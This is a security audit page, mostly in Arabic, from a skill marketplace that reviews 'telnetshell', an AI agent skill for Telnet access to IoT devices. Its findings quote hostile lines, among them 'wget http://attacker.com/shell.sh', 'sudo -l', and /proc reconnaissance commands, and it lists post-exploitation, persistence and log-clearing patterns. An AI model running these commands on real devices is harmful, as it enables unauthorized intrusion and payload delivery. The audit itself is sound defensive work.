The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:203. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:209
Temp directory access
--logfile /tmp/device2.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:209. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:213
Temp directory access
tail -f /tmp/device1.log /tmp/device2.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:213. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:222
Temp directory access
tail -f /tmp/telnet_session.log > /tmp/session_archive_$(date +%Y%m%d_%H%M%S).log &
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:222. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:226
Temp directory access
/tmp/telnet_session.log {
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:226. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:246
Temp directory access
- Check if the logfile exists: `ls -la /tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:246. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:257
Temp directory access
- Clear the log periodically: `> /tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:257. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:270
Temp directory access
LOGFILE="/tmp/camera_$(date +%Y%m%d_%H%M%S).log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:270. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:279
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:279. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:294
Temp directory access
1. Claude will ALWAYS specify `--logfile /tmp/telnet_session.log` (or custom path)
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:294. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:295
Temp directory access
2. You can monitor by running `tail -f /tmp/telnet_session.log` in another terminal
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:295. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:300
sudo privilege escalation
sudo -l
The command at SKILL.md:300 enumerates allowed sudo operations on the target. In context, it is used to identify privilege-escalation paths.
مرتفع
SKILL.md:244
Hardcoded URL
wget http://attacker.com/shell.sh
This example instructs the target to download a shell script from an attacker-controlled HTTP location. That enables unverified payload delivery over plaintext.
مرتفع
SKILL.md:68
Linux /proc filesystem access
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
SKILL.md:151
Linux /proc filesystem access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version"
The command at SKILL.md:151 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
SKILL.md:152
Linux /proc filesystem access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo"
The command at SKILL.md:152 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
SKILL.md:260
Linux /proc filesystem access
cat /proc/version
The command at SKILL.md:260 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
SKILL.md:261
Linux /proc filesystem access
cat /proc/cpuinfo
The command at SKILL.md:261 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
SKILL.md:262
Linux /proc filesystem access
cat /proc/meminfo
The command at SKILL.md:262 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
SKILL.md:278
Linux /proc filesystem access
cat /proc/mounts
The command at SKILL.md:278 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
SKILL.md:391
Linux /proc filesystem access
cat /proc/mtd
The command at SKILL.md:391 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
SKILL.md:392
Linux /proc filesystem access
cat /proc/partitions
The command at SKILL.md:392 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
SKILL.md:22
Temp directory access
**ALL commands run by Claude will be logged to `/tmp/telnet_session.log` by default.**
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:22. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:27
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:27. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:39
Temp directory access
- **Session logging**: All I/O logged to `/tmp/telnet_session.log` for observation
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:39. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:88
Temp directory access
--logfile /tmp/session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:88. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:92
Temp directory access
tail -f /tmp/session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:92. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:116
Temp directory access
--logfile, -l FILE Log all I/O to file (default: /tmp/telnet_session.log)
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:116. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:147
Temp directory access
LOGFILE="/tmp/telnet_session.log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:147. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:175
Temp directory access
**IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile /tmp/telnet_session.
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:175. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:184
Temp directory access
- **Logging**: `/tmp/telnet_session.log` by default
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:184. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:463
Temp directory access
1. **Always log your session**: Default logfile is `/tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:463. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
SKILL.md:518
Temp directory access
--logfile /tmp/camera_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:518. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
telnet_helper.py:106
Process spawn
self.conn = pexpect.spawn(cmd, timeout=self.timeout, encoding='utf-8')
The helper spawns the local Telnet client for a user-selected host and then sends arbitrary remote shell commands. This is the skill's active execution boundary.
مرتفع
telnet_helper.py:396
Temp directory access
parser.add_argument('--logfile', '-l', type=str, default='/tmp/telnet_session.log',
The skill uses a predictable shared /tmp path for complete Telnet transcripts at telnet_helper.py:396. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
telnet_helper.py:397
Temp directory access
help='Log all I/O to file (default: /tmp/telnet_session.log)')
The skill uses a predictable shared /tmp path for complete Telnet transcripts at telnet_helper.py:397. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
telnet_helper.py:74
Python file write/append
self.logfile_handle = open(logfile, 'a', buffering=1) # Line buffered
The helper appends sensitive session traffic to a caller-selected path without secure creation or permission enforcement. Privileged use permits symlink and file-target abuse.

عوامل الخطر

📁 الوصول إلى نظام الملفات (50)
enum_files.txt:41 enum_files.txt:42 enum_files.txt:41 enum_files.txt:42 enum_network.txt:6 enum_network.txt:10 enum_network.txt:22 enum_network.txt:26 enum_network.txt:33 enum_security.txt:20 enum_security.txt:23 enum_security.txt:26 enum_security.txt:29 enum_security.txt:32 enum_security.txt:35 enum_security.txt:38 enum_security.txt:39 enum_security.txt:40 enum_security.txt:41 enum_security.txt:44 enum_security.txt:45 enum_security.txt:54 enum_system.txt:6 enum_system.txt:10 enum_system.txt:11 enum_system.txt:16 enum_system.txt:28 enum_system.txt:32 enum_system.txt:36 enum_system.txt:37 enum_system.txt:40 examples.md:261 examples.md:262 examples.md:263 examples.md:264 examples.md:265 examples.md:50 examples.md:126 examples.md:211 examples.md:429 examples.md:430 examples.md:166 examples.md:174 examples.md:175 examples.md:176 examples.md:177 examples.md:178 examples.md:179 examples.md:197 examples.md:352
⚙️ الأوامر الخارجية (50)
enum_security.txt:53 examples.md:120 examples.md:307 examples.md:340 examples.md:358 examples.md:404 examples.md:438 examples.md:111 examples.md:274 examples.md:399 OBSERVING_SESSIONS.md:182 OBSERVING_SESSIONS.md:222 OBSERVING_SESSIONS.md:270 SKILL.md:12 SKILL.md:13 SKILL.md:18 SKILL.md:22 SKILL.md:25-28 SKILL.md:28-39 SKILL.md:39-46 SKILL.md:46-48 SKILL.md:48-51 SKILL.md:51-53 SKILL.md:53-56 SKILL.md:56-58 SKILL.md:58-61 SKILL.md:61-63 SKILL.md:63-66 SKILL.md:66-70 SKILL.md:70-73 SKILL.md:73-75 SKILL.md:75-78 SKILL.md:78-80 SKILL.md:80-83 SKILL.md:83-93 SKILL.md:93-95 SKILL.md:95-101 SKILL.md:101-118 SKILL.md:118-124 SKILL.md:124-136 SKILL.md:136-142 SKILL.md:142-173 SKILL.md:173-175 SKILL.md:175 SKILL.md:182-183 SKILL.md:183-184 SKILL.md:184-197 SKILL.md:197-208 SKILL.md:208-217 SKILL.md:217-228
🌐 الوصول إلى الشبكة (50)
examples.md:244 examples.md:25 examples.md:38 examples.md:56 examples.md:69 examples.md:151 examples.md:163 examples.md:183 examples.md:194 examples.md:209 examples.md:228 examples.md:231 examples.md:239 examples.md:244 examples.md:258 examples.md:279 examples.md:293 examples.md:305 examples.md:306 examples.md:311 examples.md:325 examples.md:349 examples.md:356 examples.md:371 examples.md:391 examples.md:466 examples.md:491 examples.md:502 examples.md:513 OBSERVING_SESSIONS.md:34 OBSERVING_SESSIONS.md:56 OBSERVING_SESSIONS.md:80 OBSERVING_SESSIONS.md:99 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:119 OBSERVING_SESSIONS.md:120 OBSERVING_SESSIONS.md:186 OBSERVING_SESSIONS.md:202 OBSERVING_SESSIONS.md:208 OBSERVING_SESSIONS.md:273 SKILL.md:244 SKILL.md:406 SKILL.md:537 SKILL.md:538 SKILL.md:47 SKILL.md:52 SKILL.md:57 SKILL.md:62 SKILL.md:69 SKILL.md:74

الأنماط المكتشفة

System reconnaissance×21Network reconnaissance×14SSH private key fileSystem password file access×9Sudoers file access×2SSH directory access×5Malware type keywords×4Shell history clearingLog file deletion
دقّقه: codex عرض سجل التدقيق →
شارك واستشهد بهذا التقرير

شارك تقرير التقييم المرتبط بالإصدار والشارة المحايدة وبطاقة التضمين والاستشهادات. تعرض Skillstore الأدلة من دون أن تقرر ما إذا كانت هذه المهارة آمنة.

فتح التقرير المرتبط بالإصدار
تقييم الأمان

نسخ رابط التقرير

https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_report

شارة Markdown

[![Skillstore security assessment](https://skillstore.io/badges/skills/brownfinesecurity-telnetshell/security.svg)](https://skillstore.io/skills/brownfinesecurity-telnetshell?utm_source=security_passport_badge)

شارة HTML

<a href="https://skillstore.io/skills/brownfinesecurity-telnetshell?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/brownfinesecurity-telnetshell/security.svg" alt="Skillstore security assessment" loading="lazy"></a>

بطاقة قابلة للتضمين

<iframe src="https://skillstore.io/embed/skills/brownfinesecurity-telnetshell.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>
الاستشهادات الأكاديمية (APA · BibTeX · CFF)

اقتباس APA

BrownFineSecurity. (2026). telnetshell security audit report (audit version 9) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9

اقتباس BibTeX

@techreport{brownfinesecurity-brownfinesecurity-telnetshell-2026, author = {BrownFineSecurity}, title = {telnetshell security audit report (audit version 9)}, institution = {Skillstore}, year = {2026}, number = {9}, url = {https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9}, note = {Author version unspecified} }

CITATION.cff

cff-version: 1.2.0 message: "If you use this Skill, cite its author and this versioned security audit report." title: "telnetshell security audit report (audit version 9)" version: "unspecified" type: report authors: - name: "BrownFineSecurity" date-released: "2026-07-23" url: "https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9" identifiers: - type: other value: "skillstore:brownfinesecurity-telnetshell:audit:9" description: "Skillstore immutable audit report identifier"

تقييم Skillstore

سبب هذا التقييم موثوقية الأدلة: متوسط
55
الهندسة المعمارية
85
قابلية الصيانة
87
المحتوى
70
المجتمع
78
الامتثال للمواصفات

ما الذي يمكنك بناؤه

تقييم مختبر IoT مصرّح به

افحص جهازًا مختبريًا لديه telnet shell معروف واجمع معلومات أساسية عن النظام والشبكة والملفات.

فرز أجهزة BusyBox

شغّل أوامر قابلة للتكرار على أجهزة Linux مضمّنة وطبع مخرجات shell المزعجة للمراجعة.

مراجعة انكشاف Telnet

وثّق خدمات telnet القابلة للوصول، وسلوك المصادقة، وتكوين الجهاز أثناء تدقيق معتمد.

جرّب هذه الموجّهات

الاتصال بجهاز مختبري 
استخدم مهارة telnet shell للاتصال بجهازي المختبري المصرّح به عند HOST على PORT وشغّل فحص uname أساسيًا مع تسجيل الجلسة.
تشغيل تعداد النظام 
استخدم نص تعداد النظام الموفّر ضد HOST على PORT، واحفظ سجل الجلسة، ولخّص هوية الجهاز والنواة والتخزين وتفاصيل BusyBox.
مراجعة تكوين الشبكة 
افحص تكوين الشبكة للجهاز المصرّح به عبر telnet وقدّم تقريرًا عن الواجهات والمسارات والخدمات المستمعة وقواعد الجدار الناري.
تقييم الأوامر عالية الخطورة 
راجع سير عمل telnet shell بحثًا عن الأوامر التي تصل إلى بيانات الاعتماد، أو تنشئ استمرارية، أو تستخرج بيانات، أو تزيل الأدلة، وصنّف الخطوات التي يجب استبعادها.

أفضل الممارسات

  • استخدمها فقط على الأجهزة التي تملكها أو لديك تصريح كتابي صريح لاختبارها.
  • احمِ سجلات الجلسات لأنها قد تحتوي على بيانات اعتماد وتكوينات حساسة.
  • اقصر الأوامر على مهام الجرد والتحقق غير التخريبية أثناء عمليات التدقيق الروتينية.

تجنب

  • لا تستخدم الأداة المساعدة ضد عناوين IP عامة غير معروفة أو أجهزة تابعة لجهات خارجية.
  • لا تضف استمرارية أو أبوابًا خلفية أو مفاتيح SSH عبر سير العمل هذا.
  • لا تحذف السجلات أو تمسح السجل أو تخفِ النشاط بعد الاختبار.

الأسئلة المتكررة

ماذا تفعل هذه المهارة؟
تساعد مساعد AI على الاتصال بواجهات IoT shell التي يمكن الوصول إليها عبر telnet وتشغيل فحوصات منظّمة قائمة على الأوامر.
هل هذا آمن للنشر في marketplace؟
لا. تتضمن النسخة المدققة تعليمات لما بعد الاستغلال، والاستمرارية، واستخراج البيانات، والتنظيف.
هل تتطلب برامج خاصة؟
نعم. تتطلب Python 3 و pexpect وعميل telnet على الجهاز المحلي.
هل يمكنها العمل مع واجهات BusyBox shell؟
نعم. تتضمن الأداة المساعدة أنماط موجّهات وأمثلة لأجهزة IoT الشائعة القائمة على BusyBox.
هل تخزّن بيانات الجلسة؟
نعم. تسجّل الأداة المساعدة مدخلات ومخرجات telnet إلى ملف سجل محلي افتراضيًا.
ما الذي يجب إزالته قبل أي إصدار آمن؟
أزل إرشادات الاستمرارية، والباب الخلفي، وجمع بيانات الاعتماد، وتصدير البرامج الثابتة، والفحص الداخلي، وتنظيف الأدلة.

تفاصيل المطور

المؤلف

BrownFineSecurity

الترخيص

MIT

مراجعة Skillstore

r2

تنبيه الإصدار

لم يعلن المؤلف عن إصدار.

المستودع

https://github.com/BrownFineSecurity/iothackbot/tree/master/skills/telnetshell

مرجع

a39a91716eadede5f4cdefd78178fed4e837a128

حداثة الصيانة

٢٩‏/٧‏/٢٠٢٦

الاستخدام

9 تنزيلات · 190 مشاهدات

بنية الملفات

📄 enum_files.txt

📄 enum_network.txt

📄 enum_security.txt

📄 enum_system.txt

📄 examples.md

📄 OBSERVING_SESSIONS.md

📄 SKILL.md

📄 telnet_helper.py

المزيد من BrownFineSecurity

عرض الكل

مهارات ذات صلة

عرض الكل